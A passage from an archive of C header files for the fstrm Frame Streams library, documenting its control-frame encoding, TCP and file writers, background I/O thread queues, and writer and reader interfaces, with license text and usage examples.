uint32_t flags); /** * Encode a control frame into a buffer. Since a Frame Streams control frame is * a variable length byte sequence of up to #FSTRM_CONTROL_FRAME_LENGTH_MAX * bytes, this function can be used in two different ways. The first way is to * call fstrm_control_encoded_size() to obtain the exact number of bytes needed * to encode the frame, and then pass a buffer of this exact size to * fstrm_control_encode(). The following example shows this usage: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ fstrm_res res; struct fstrm_control *c; uint8_t *control_frame; size_t len_control_frame; uint32_t flags = 0; c = fstrm_control_init(); res = fstrm_control_set_type(c, FSTRM_CONTROL_START); if (res != fstrm_res_success) { // Error handling goes here. } // Calculate the number of bytes needed. res = fstrm_control_encoded_size(c, &len_control_frame, flags); if (res != fstrm_res_success) { // Error handling goes here. } // 'len_control_frame' now specifies the number of bytes required for // the control frame. Allocate the needed space. control_frame = malloc(len_control_frame); if (!control_frame) { // Error handling goes here. } // Serialize the control frame into the allocated buffer. res = fstrm_control_encode(c, control_frame, &len_control_frame, 0); if (res != fstrm_res_success) { // Error handling goes here. } // Do something with 'control_frame' and 'len_control_frame'. // Clean up. free(control_frame); fstrm_control_destroy(&c); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * The second way to use fstrm_control_encode() is to allocate a statically * sized buffer of #FSTRM_CONTROL_FRAME_LENGTH_MAX bytes. The exact number of * bytes serialized by the encoder will be returned in the `len_control_frame` * parameter. The following example shows this usage: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ fstrm_res res; struct fstrm_control *c; uint8_t control_frame[FSTRM_CONTROL_FRAME_LENGTH_MAX]; size_t len_control_frame = sizeof(control_frame); c = fstrm_control_init(); res = fstrm_control_set_type(c, FSTRM_CONTROL_START); if (res != fstrm_res_success) { // Error handling. } // Serialize the control frame. res = fstrm_control_encode(c, control_frame, &len_control_frame, 0); if (res != fstrm_res_success) { // Error handling goes here. } // Do something with 'control_frame' and 'len_control_frame'. // Clean up. fstrm_control_destroy(&c); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * \param c * `fstrm_control` object. * \param[out] control_frame * The buffer in which to serialize the control frame. * \param[in,out] len_control_frame * The size in bytes of `control_frame`. On a successful return, contains * the number of bytes actually written into `control_frame`. * \param flags * Flags controlling the encoding process. See #fstrm_control_flag. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_control_encode( const struct fstrm_control *c, void *control_frame, size_t *len_control_frame, const uint32_t flags); /**@}*/ #endif /* FSTRM_CONTROL_H */ fstrm/tcp_writer.h 0000644 00000006370 15246445047 0010253 0 ustar 00 /* * Copyright (c) 2014, 2018 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef FSTRM_TCP_WRITER_H #define FSTRM_TCP_WRITER_H /** * \defgroup fstrm_tcp_writer fstrm_tcp_writer * * `fstrm_tcp_writer` is an interface for opening an \ref fstrm_writer object * that is backed by I/O on a TCP socket. * * @{ */ /** * Initialize an `fstrm_tcp_writer_options` object, which is needed to * configure the socket address and socket port to be opened by the writer. * * \return * `fstrm_tcp_writer_options` object. */ struct fstrm_tcp_writer_options * fstrm_tcp_writer_options_init(void); /** * Destroy an `fstrm_tcp_writer_options` object. * * \param twopt * Pointer to `fstrm_tcp_writer_options` object. */ void fstrm_tcp_writer_options_destroy( struct fstrm_tcp_writer_options **twopt); /** * Set the `socket_address` option. This is the IPv4 or IPv6 address in * presentation format to be connected by the TCP socket. * * \param twopt * `fstrm_tcp_writer_options` object. * \param socket_address * The socket address. */ void fstrm_tcp_writer_options_set_socket_address( struct fstrm_tcp_writer_options *twopt, const char *socket_address); /** * Set the `socket_port` option. This is the TCP port number to be connected by * the TCP socket. * * \param twopt * `fstrm_tcp_writer_options` object. * \param socket_port * The TCP socket port number provided as a character string. * (When converted, the maximum allowed unsigned integer is 65535.) */ void fstrm_tcp_writer_options_set_socket_port( struct fstrm_tcp_writer_options *twopt, const char *socket_port); /** * Initialize the `fstrm_writer` object. Note that the TCP socket will not * actually be opened until a subsequent call to fstrm_writer_open(). * * \param twopt * `fstrm_tcp_writer_options` object. Must be non-NULL, and have the * `socket_address` and `socket_port` options set. * \param wopt * `fstrm_writer_options` object. May be NULL, in which chase default * values will be used. * * \return * `fstrm_writer` object. * \retval * NULL on failure. */ struct fstrm_writer * fstrm_tcp_writer_init( const struct fstrm_tcp_writer_options *twopt, const struct fstrm_writer_options *wopt); /**@}*/ #endif /* FSTRM_TCP_WRITER_H */ fstrm/file.h 0000644 00000006216 15246445047 0007007 0 ustar 00 /* * Copyright (c) 2014 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef FSTRM_FILE_H #define FSTRM_FILE_H /** * \defgroup fstrm_file fstrm_file * * `fstrm_file` contains interfaces for opening \ref fstrm_reader or * \ref fstrm_writer objects that are backed by file I/O. * * @{ */ /** * Initialize an `fstrm_file_options` object, which is needed to configure the * file path to be opened by fstrm_file_reader_init() or * fstrm_file_writer_init(). * * \return * `fstrm_file_options` object. */ struct fstrm_file_options * fstrm_file_options_init(void); /** * Destroy an `fstrm_file_options` object. * * \param fopt * Pointer to `fstrm_file_options` object. */ void fstrm_file_options_destroy(struct fstrm_file_options **fopt); /** * Set the `file_path` option. This is a filesystem path to a regular file to be * opened for reading or writing. * * \param fopt * `fstrm_file_options` object. * \param file_path * The filesystem path for a regular file. */ void fstrm_file_options_set_file_path(struct fstrm_file_options *fopt, const char *file_path); /** * Open a file containing Frame Streams data for reading. * * \param fopt * `fstrm_file_options` object. Must be non-NULL, and have the `file_path` * option set. * \param ropt * `fstrm_reader_options` object. May be NULL, in which case default values * will be used. * * \return * `fstrm_reader` object. * \retval * NULL on failure. */ struct fstrm_reader * fstrm_file_reader_init(const struct fstrm_file_options *fopt, const struct fstrm_reader_options *ropt); /** * Open a file for writing Frame Streams data. The file will be truncated if it * already exists. * * \param fopt * `fstrm_file_options` object. Must be non-NULL, and have the `file_path` * option set. * \param wopt * `fstrm_writer_options` object. May be NULL, in which case default values * will be used. * * \return * `fstrm_writer` object. * \retval * NULL on failure. */ struct fstrm_writer * fstrm_file_writer_init(const struct fstrm_file_options *fopt, const struct fstrm_writer_options *wopt); /**@}*/ #endif /* FSTRM_FILE_H */ fstrm/iothr.h 0000644 00000036170 15246445047 0007217 0 ustar 00 /* * Copyright (c) 2014 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef FSTRM_IOTHR_H #define FSTRM_IOTHR_H /** * \defgroup fstrm_iothr fstrm_iothr * * The `fstrm_iothr` interface creates a background I/O thread which writes * Frame Streams encapsulated data frames into an output stream specified by an * \ref fstrm_writer object. It exposes non-blocking input queues that can be * used by worker threads to asynchronously write data frames to the output * stream. A deferred deallocation callback is invoked after the I/O thread has * disposed of a queued data frame. * * In order to create an `fstrm_iothr` object, the caller must first configure * and instantiate an `fstrm_writer` object and pass this instance to the * fstrm_iothr_init() function. The `fstrm_iothr` object then takes ownership of * the `fstrm_writer` object. It is responsible for serializing writes and will * take care of destroying the captive `fstrm_writer` object at the same time * the `fstrm_iothr` object is destroyed. The caller should not perform any * operations on the captive `fstrm_writer` object after it has been passed to * `fstrm_iothr_init()`. * * Parameters used to configure the I/O thread are passed through an * `fstrm_iothr_options` object. These options have to be specified in advance * and are mostly performance knobs which have reasonable defaults. * * Once the `fstrm_iothr` object has been created, handles to the input queues * used to submit data frames can be obtained by calling * `fstrm_iothr_get_input_queue()`. This function can be called up to * **num_input_queues** times, and can be safely called concurrently. For * instance, in an application with a fixed number of worker threads, an input * queue can be dedicated to each worker thread by setting the * **num_input_queues** option to the number of worker threads, and then calling * `fstrm_iothr_get_input_queue()` from each worker thread's startup function to * obtain a per-thread input queue. * * @{ */ /** * Initialize an `fstrm_iothr_options` object. This is needed to pass * configuration parameters to fstrm_iothr_init(). * * \return * `fstrm_iothr_options` object. */ struct fstrm_iothr_options * fstrm_iothr_options_init(void); /** * Destroy an `fstrm_iothr_options` object. * * \param opt * Pointer to `fstrm_iothr_options` object. */ void fstrm_iothr_options_destroy(struct fstrm_iothr_options **opt); /** * Set the `buffer_hint` parameter. This is the threshold number of bytes to * accumulate in the output buffer before forcing a buffer flush. * * \param opt * `fstrm_iothr_options` object. * \param buffer_hint * New `buffer_hint` value. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_iothr_options_set_buffer_hint( struct fstrm_iothr_options *opt, unsigned buffer_hint); /** Minimum `buffer_hint` value. */ #define FSTRM_IOTHR_BUFFER_HINT_MIN 1024 /** Default `buffer_hint` value. */ #define FSTRM_IOTHR_BUFFER_HINT_DEFAULT 8192 /** Maximum `buffer_hint` value. */ #define FSTRM_IOTHR_BUFFER_HINT_MAX 65536 /** * Set the `flush_timeout` parameter. This is the number of seconds to allow * unflushed data to remain in the output buffer. * * \param opt * `fstrm_iothr_options` object. * \param flush_timeout * New `flush_timeout` value. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_iothr_options_set_flush_timeout( struct fstrm_iothr_options *opt, unsigned flush_timeout); /** Minimum `flush_timeout` value. */ #define FSTRM_IOTHR_FLUSH_TIMEOUT_MIN 1 /** Default `flush_timeout` value. */ #define FSTRM_IOTHR_FLUSH_TIMEOUT_DEFAULT 1 /** Maximum `flush_timeout` value. */ #define FSTRM_IOTHR_FLUSH_TIMEOUT_MAX 600 /** * Set the `input_queue_size` parameter. This is the number of queue entries to * allocate per each input queue. This option controls the number of outstanding * data frames per input queue that can be outstanding for deferred processing * by the `fstrm_iothr` object and thus affects performance and memory usage. * * This parameter must be a power-of-2. * * \param opt * `fstrm_iothr_options` object. * \param input_queue_size * New `input_queue_size` value. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_iothr_options_set_input_queue_size( struct fstrm_iothr_options *opt, unsigned input_queue_size); /** Minimum `input_queue_size` value. */ #define FSTRM_IOTHR_INPUT_QUEUE_SIZE_MIN 2 /** Default `input_queue_size` value. */ #define FSTRM_IOTHR_INPUT_QUEUE_SIZE_DEFAULT 512 /** Maximum `input_queue_size` value. */ #define FSTRM_IOTHR_INPUT_QUEUE_SIZE_MAX 16384 /** * Set the `num_input_queues` parameter. This is the number of input queues to * create and must match the number of times that fstrm_iothr_get_input_queue() * is called on the corresponding `fstrm_iothr` object. * * \param opt * `fstrm_iothr_options` object. * \param num_input_queues * New `num_input_queues` value. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_iothr_options_set_num_input_queues( struct fstrm_iothr_options *opt, unsigned num_input_queues); /** Minimum `num_input_queues` value. */ #define FSTRM_IOTHR_NUM_INPUT_QUEUES_MIN 1 /** Default `num_input_queues` value. */ #define FSTRM_IOTHR_NUM_INPUT_QUEUES_DEFAULT 1 /** * Set the `output_queue_size` parameter. This is the number of queue entries to * allocate for the output queue. This option controls the maximum number of * data frames that can be accumulated in the output queue before a buffer flush * must occur and thus affects performance and memory usage. * * \param opt * `fstrm_iothr_options` object. * \param output_queue_size * New `output_queue_size` value. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_iothr_options_set_output_queue_size( struct fstrm_iothr_options *opt, unsigned output_queue_size); /** Minimum `output_queue_size` value. */ #define FSTRM_IOTHR_OUTPUT_QUEUE_SIZE_MIN 2 /** Default `output_queue_size` value. */ #define FSTRM_IOTHR_OUTPUT_QUEUE_SIZE_DEFAULT 64 /** Maximum `output_queue_size` value. */ #define FSTRM_IOTHR_OUTPUT_QUEUE_SIZE_MAX IOV_MAX /** * Queue models. * \see fstrm_iothr_options_set_queue_model() */ typedef enum { /** Single Producer, Single Consumer. */ FSTRM_IOTHR_QUEUE_MODEL_SPSC, /** Multiple Producer, Single Consumer. */ FSTRM_IOTHR_QUEUE_MODEL_MPSC, } fstrm_iothr_queue_model; /** * Set the `queue_model` parameter. This controls what queueing semantics to use * for `fstrm_iothr_queue` objects. Single Producer queues * (#FSTRM_IOTHR_QUEUE_MODEL_SPSC) may only have a single thread at a time * calling fstrm_iothr_submit() on a given `fstrm_iothr_queue` object, while * Multiple Producer queues (#FSTRM_IOTHR_QUEUE_MODEL_MPSC) may have multiple * threads concurrently calling fstrm_iothr_submit() on a given * `fstrm_iothr_queue` object. * * \param opt * `fstrm_iothr_options` object. * \param queue_model * New `queue_model` value. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_iothr_options_set_queue_model( struct fstrm_iothr_options *opt, fstrm_iothr_queue_model queue_model); /** Default `queue_model` value. */ #define FSTRM_IOTHR_QUEUE_MODEL_DEFAULT FSTRM_IOTHR_QUEUE_MODEL_SPSC /** * Set the `queue_notify_threshold` parameter. This controls the number of * outstanding queue entries to allow on an input queue before waking the I/O * thread, which will cause the outstanding queue entries to begin draining. * * \param opt * `fstrm_iothr_options` object. * \param queue_notify_threshold * New `queue_notify_threshold` value. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_iothr_options_set_queue_notify_threshold( struct fstrm_iothr_options *opt, unsigned queue_notify_threshold); /** Minimum `queue_notify_threshold` value. */ #define FSTRM_IOTHR_QUEUE_NOTIFY_THRESHOLD_MIN 1 /** Default `queue_notify_threshold` value. */ #define FSTRM_IOTHR_QUEUE_NOTIFY_THRESHOLD_DEFAULT 32 /** * Set the `reopen_interval` parameter. This controls the number of seconds to * wait between attempts to reopen a closed `fstrm_writer` output stream. * * \param opt * `fstrm_iothr_options` object. * \param reopen_interval * New `queue_notify_threshold` value. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_iothr_options_set_reopen_interval( struct fstrm_iothr_options *opt, unsigned reopen_interval); /** Minimum `reopen_interval` value. */ #define FSTRM_IOTHR_REOPEN_INTERVAL_MIN 1 /** Default `reopen_interval` value. */ #define FSTRM_IOTHR_REOPEN_INTERVAL_DEFAULT 5 /** Maximum `reopen_interval` value. */ #define FSTRM_IOTHR_REOPEN_INTERVAL_MAX 600 /** * Initialize an `fstrm_iothr` object. This creates a background I/O thread * which asynchronously writes data frames submitted by other threads which call * fstrm_iothr_submit(). * * \param opt * `fstrm_iothr_options` object. May be NULL, in which case default values * will be used. * * \param writer * Pointer to `fstrm_writer` object. Must be non-NULL. * * \return * `fstrm_iothr` object. * \retval * NULL on failure. */ struct fstrm_iothr * fstrm_iothr_init( const struct fstrm_iothr_options *opt, struct fstrm_writer **writer); /** * Destroy an `fstrm_iothr` object. This signals the background I/O thread to * flush or discard any queued data frames and deallocates any resources used * internally. This function blocks until the I/O thread has terminated. * * \param iothr * Pointer to `fstrm_iothr` object. */ void fstrm_iothr_destroy(struct fstrm_iothr **iothr); /** * Obtain an `fstrm_iothr_queue` object for submitting data frames to the * `fstrm_iothr` object. `fstrm_iothr_queue` objects are child objects of their * parent `fstrm_iothr` object and will be destroyed when fstrm_iothr_destroy() * is called on the parent `fstrm_iothr` object. * * This function is thread-safe and may be called simultaneously from any * thread. For example, in a program which employs a fixed number of worker * threads to handle requests, fstrm_iothr_get_input_queue() may be called from * a thread startup routine without synchronization. * * `fstrm_iothr` objects allocate a fixed total number of `fstrm_iothr_queue` * objects during the call to fstrm_iothr_init(). To adjust this parameter, use * fstrm_iothr_options_set_num_input_queues(). * * This function will fail if it is called more than **num_input_queues** times. * By default, only one input queue is initialized per `fstrm_iothr` object. * * For optimum performance in a threaded program, each worker thread submitting * data frames should have a dedicated `fstrm_iothr_queue` object. This allows * each worker thread to have its own queue which is processed independently by * the I/O thread. If the queue model for the `fstrm_iothr` object is set to * #FSTRM_IOTHR_QUEUE_MODEL_SPSC, this results in contention-free access to the * input queue. * * \param iothr * `fstrm_iothr` object. * * \return * `fstrm_iothr_queue` object. * \retval * NULL on failure. */ struct fstrm_iothr_queue * fstrm_iothr_get_input_queue(struct fstrm_iothr *iothr); /** * Obtain an `fstrm_iothr_queue` object for submitting data frames to the * `fstrm_iothr` object. This function is like fstrm_iothr_get_input_queue() * except it indexes into the `fstrm_iothr_queue`'s array of input queues. * * \param iothr * `fstrm_iothr` object. * \param idx * Index of the `fstrm_iothr_queue` object to retrieve. This value is * limited by the **num_input_queues** option. * * \return * `fstrm_iothr_queue` object. * \retval * NULL on failure. */ struct fstrm_iothr_queue * fstrm_iothr_get_input_queue_idx(struct fstrm_iothr *iothr, size_t idx); /** * Submit a data frame to the background I/O thread. If successfully queued and * the I/O thread has an active output stream opened, the data frame will be * asynchronously written to the output stream. * * When this function returns #fstrm_res_success, responsibility for * deallocating the data frame specified by the `data` parameter passes to the * `fstrm` library. The caller **MUST** ensure that the `data` object remains * valid after fstrm_iothr_submit() returns. The callback function specified by * the `free_func` parameter will be invoked once the data frame is no longer * needed by the `fstrm` library. For example, if the data frame is dynamically * allocated, the data frame may be deallocated in the callback function. * * Note that if this function returns #fstrm_res_failure, the responsibility for * deallocating the data frame remains with the caller. * * As a convenience, if `data` is allocated with the system's `malloc()`, * `fstrm_free_wrapper` may be provided as the `free_func` parameter with the * `free_data` parameter set to `NULL`. This will cause the system's `free()` to * be invoked to deallocate `data`. * * `free_func` may be NULL, in which case no callback function will be invoked * to dispose of `buf`. This behavior may be useful if `data` is a global, * statically allocated object. * * \param iothr * `fstrm_iothr` object. * \param ioq * `fstrm_iothr_queue` object. * \param data * Data frame bytes. * \param len * Number of bytes in `data`. * \param free_func * Callback function to deallocate the data frame. The `data` and * `free_data` parameters passed to this callback will be the same values * originally supplied in the call to fstrm_iothr_submit(). * \param free_data * Parameter to pass to `free_func`. * * \retval #fstrm_res_success * The data frame was successfully queued. * \retval #fstrm_res_again * The queue is full. * \retval #fstrm_res_failure * Permanent failure. */ fstrm_res fstrm_iothr_submit( struct fstrm_iothr *iothr, struct fstrm_iothr_queue *ioq, void *data, size_t len, void (*free_func)(void *buf, void *free_data), void *free_data); /** * Wrapper function for the system's `free()`, suitable for use as the * `free_func` callback for fstrm_iothr_submit(). * * \param data * Object to call `free()` on. * \param free_data * Unused. */ void fstrm_free_wrapper(void *data, void *free_data); /**@}*/ #endif /* FSTRM_IOTHR_H */ fstrm/writer.h 0000644 00000020426 15246445047 0007403 0 ustar 00 /* * Copyright (c) 2014, 2018 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef FSTRM_WRITER_H #define FSTRM_WRITER_H /** * \defgroup fstrm_writer fstrm_writer * * `fstrm_writer` is an interface for writing Frame Streams data into a byte * stream. The underlying byte stream I/O operations are abstracted by the * \ref fstrm_rdwr interface. Thus, the `fstrm_writer` interface can be used to * write Frame Streams data to any type of output whose read/write operations * are wrapped by an `fstrm_rdwr` object. * * Some basic `fstrm_writer` implementations are already provided in the `fstrm` * library. See fstrm_file_writer_init() for an implementation that writes to * a regular file, fstrm_tcp_writer_init() for an implementation that writes to * a TCP socket, and fstrm_unix_writer_init() for an implementation that writes * to a Unix socket. * * @{ */ /** * Initialize an `fstrm_writer_options` object. * * \return * `fstrm_writer_options` object. */ struct fstrm_writer_options * fstrm_writer_options_init(void); /** * Destroy an `fstrm_writer_options` object. * * \param wopt * Pointer to `fstrm_writer_options` object. */ void fstrm_writer_options_destroy( struct fstrm_writer_options **wopt); /** * Add a "Content Type" value to the set of content types that can be negotiated * by the writer. This function makes a copy of the provided string. This * function may be called multiple times, in which case multiple "Content Type" * values will be accepted by the reader. * * For uni-directional streams like regular files, the negotiated content type * will simply be the first content type provided to this function. For * bi-directional streams like sockets, a handshake occurs and the remote end * determines which content type should be sent. In the latter case, after the * writer has been successfully opened with a call to fstrm_writer_open(), the * fstrm_writer_get_control() function should be called with `type` set to * `FSTRM_CONTROL_ACCEPT` and the control frame queried in order to determine * the negotiated content type. * * \param wopt * `fstrm_writer_options` object. * \param content_type * The "Content Type" string to copy. Note that this string is not * NUL-terminated and may contain embedded NULs. * \param len_content_type * The number of bytes in `content_type`. * * \retval #fstrm_res_success * The "Content Type" field was successfully added. * \retval #fstrm_res_failure * The "Content Type" string is too long. */ fstrm_res fstrm_writer_options_add_content_type( struct fstrm_writer_options *wopt, const void *content_type, size_t len_content_type); /** * Initialize a new `fstrm_writer` object based on an underlying `fstrm_rdwr` * object and an `fstrm_writer_options` object. * * The underlying `fstrm_rdwr` object MUST have a `write` method. It MAY * optionally have a `read` method, in which case the stream will be treated as * a bi-directional, handshaked stream. Otherwise, if there is no `read` method * the stream will be treated as a uni-directional stream. * * This function is useful for implementing functions that return new types of * `fstrm_writer` objects, such as fstrm_file_writer_init() and * fstrm_unix_writer_init(). * * After a successful call to this function, the ownership of the `fstrm_rdwr` * object passes from the caller to the `fstrm_writer` object. The caller * should perform no further calls on the `fstrm_rdwr` object. The `fstrm_rdwr` * object will be cleaned up on a call to fstrm_writer_destroy(). * * \param wopt * `fstrm_writer_options` object. May be NULL, in which case default values * will be used. * * \param rdwr * Pointer to `fstrm_rdwr` object. Must be non-NULL. The `fstrm_rdwr` * object must have a `write` method, and may optionally have a `read` * method. * * \return * `fstrm_writer` object. * \retval * NULL on failure. */ struct fstrm_writer * fstrm_writer_init( const struct fstrm_writer_options *wopt, struct fstrm_rdwr **rdwr); /** * Destroy an `fstrm_writer` object. This implicitly calls fstrm_writer_close() * if necessary. * * \param w * Pointer to `fstrm_writer` object. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_writer_destroy(struct fstrm_writer **w); /** * Open an `fstrm_writer` object and prepare it to write data. For * bi-directional writer implementations, this performs content type * negotiation. * * This function may fail if there was an underlying problem opening the output * stream. * * \param w * `fstrm_writer` object. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_writer_open(struct fstrm_writer *w); /** * Close an `fstrm_writer` object. Open it has been closed, no data frames may * subsequently be written. * * Calling this function is optional; it may be implicitly invoked by a call to * fstrm_writer_destroy(). * * \param w * `fstrm_writer` object. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_writer_close(struct fstrm_writer *w); /** * Write a data frame to an `fstrm_writer` object. * * This function implicitly calls fstrm_writer_open() if necessary. * * \param w * `fstrm_writer` object. * \param[in] data * Buffer containing the data frame payload. * \param[in] len_data * The number of bytes in `data`. * * \retval #fstrm_res_success * The data frame was successfully written. * \retval #fstrm_res_failure */ fstrm_res fstrm_writer_write( struct fstrm_writer *w, const void *data, size_t len_data); /** * Write multiple data frames to an `fstrm_writer` object. * * This function implicitly calls fstrm_writer_open() if necessary. * * Data frames are passed similarly to the `writev()` system call, with an array * of `struct iovec` objects describing the data frame payloads and their * lengths. The complete set of data frames will be written to the output * stream after a successful call. * * \param w * `fstrm_writer` object. * \param iov * Array of `struct iovec` objects. * \param iovcnt * Number of `struct iovec` objects in `iov`. * * \retval #fstrm_res_success * The data frames were successfully written. * \retval #fstrm_res_failure */ fstrm_res fstrm_writer_writev( struct fstrm_writer *w, const struct iovec *iov, int iovcnt); /** * Obtain a pointer to an `fstrm_control` object used during processing. Objects * returned by this function are owned by the `fstrm_reader` object and must not * be modified by the caller. After a call to fstrm_reader_destroy() these * pointers will no longer be valid. * * For example, with bi-directional streams this function can be used to obtain * a pointer to the ACCEPT control frame, which can be queried to see which * "Content Type" was negotiated during the opening of the writer. * * This function implicitly calls fstrm_writer_open() if necessary. * * \param w * `fstrm_writer` object. * \param type * Which control frame to return. * \param[out] control * The `fstrm_control` object. * * \retval #fstrm_res_success * If an `fstrm_control` object was returned. * \retval #fstrm_res_failure */ fstrm_res fstrm_writer_get_control( struct fstrm_writer *w, fstrm_control_type type, struct fstrm_control **control); /**@}*/ #endif /* FSTRM_WRITER_H */ fstrm/reader.h 0000644 00000017734 15246445047 0007341 0 ustar 00 /* * Copyright (c) 2014 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef FSTRM_READER_H #define FSTRM_READER_H /** * \defgroup fstrm_reader fstrm_reader * * `fstrm_reader` is an interface for reading Frame Streams data from a byte * stream. The underlying byte stream I/O operations are abstracted by the * \ref fstrm_rdwr interface. Thus, the `fstrm_reader` interface can be used to * read Frame Streams data from any source whose read/write operations are * wrapped by an `fstrm_rdwr` object. * * Some basic `fstrm_reader` implementations are already provided in the `fstrm` * library. See fstrm_file_reader_init() to create an `fstrm_reader` object that * reads Frame Streams data from a regular file. * * @{ */ /** * The default `max_frame_size` value. */ #define FSTRM_READER_MAX_FRAME_SIZE_DEFAULT 1048576 /** * Initialize an `fstrm_reader_options` object. * * \return * `fstrm_reader_options` object. */ struct fstrm_reader_options * fstrm_reader_options_init(void); /** * Destroy an `fstrm_reader_options` object. * * \param ropt * Pointer to `fstrm_reader_options` object. */ void fstrm_reader_options_destroy( struct fstrm_reader_options **ropt); /** * Add a "Content Type" value to the set of content types accepted by the * `fstrm_reader`. This function makes a 